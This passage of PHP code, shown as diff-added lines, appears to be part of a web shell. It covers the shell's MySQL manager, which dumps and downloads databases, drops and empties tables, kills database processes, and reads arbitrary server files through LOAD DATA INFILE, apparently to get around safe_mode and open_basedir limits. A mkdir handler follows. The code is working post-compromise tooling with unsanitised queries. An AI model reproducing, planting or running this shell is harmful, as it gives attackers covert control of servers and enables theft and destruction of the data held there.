{foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo '</center>'; + } + echo '</td></tr><tr>'; + if (!$sql_sock) {?><td width=28% height=100 valign=top><li>If login is null, login is owner of process.<li>If host is null, host is localhost (default).<li>If port is null, port is 3306 (default).</td><td width=90% height=1 valign=top><TABLE height=1 cellSpacing=0 cellPadding=0 width=100% border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action="<?php echo $surl; ?>" method=POST><input type=hidden name="act" value="sql"><tr><td><input type=text name="sql_login" value="root" maxlength=64></td><td><input type=text name="sql_passwd" maxlength=64></td><td><input type=text name="sql_db" maxlength=64></td></tr><tr><td><b>Host</b></td><td><b>Port</b></td></tr><tr><td align=right><input type=text name="sql_server" value="localhost" maxlength=64></td><td><input type=text name="sql_port" value="3306" maxlength=6 size=3></td><td><input type=submit value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo ".:[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]:.<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo 'No tables found in database.';} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ''; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set['sock'] = $sql_sock; + $set['db'] = $sql_db; + $dump_out = 'download'; + $set['print'] = 0; + $set['nl2br'] = 0; + $set[''] = 0; + $set['file'] = $dump_file; + $set['add_drop'] = TRUE; + $set['onlytabs'] = array(); + if (!empty($dmptbls)) {$set['onlytabs'] = explode(';',$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writen to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo '<br><br><b>Inserting row into table:</b><br>'; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "[Pages]&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo '</tr>'; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>+</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new Database:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} + +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo '<br><br>'; + } + $act = $dspact = 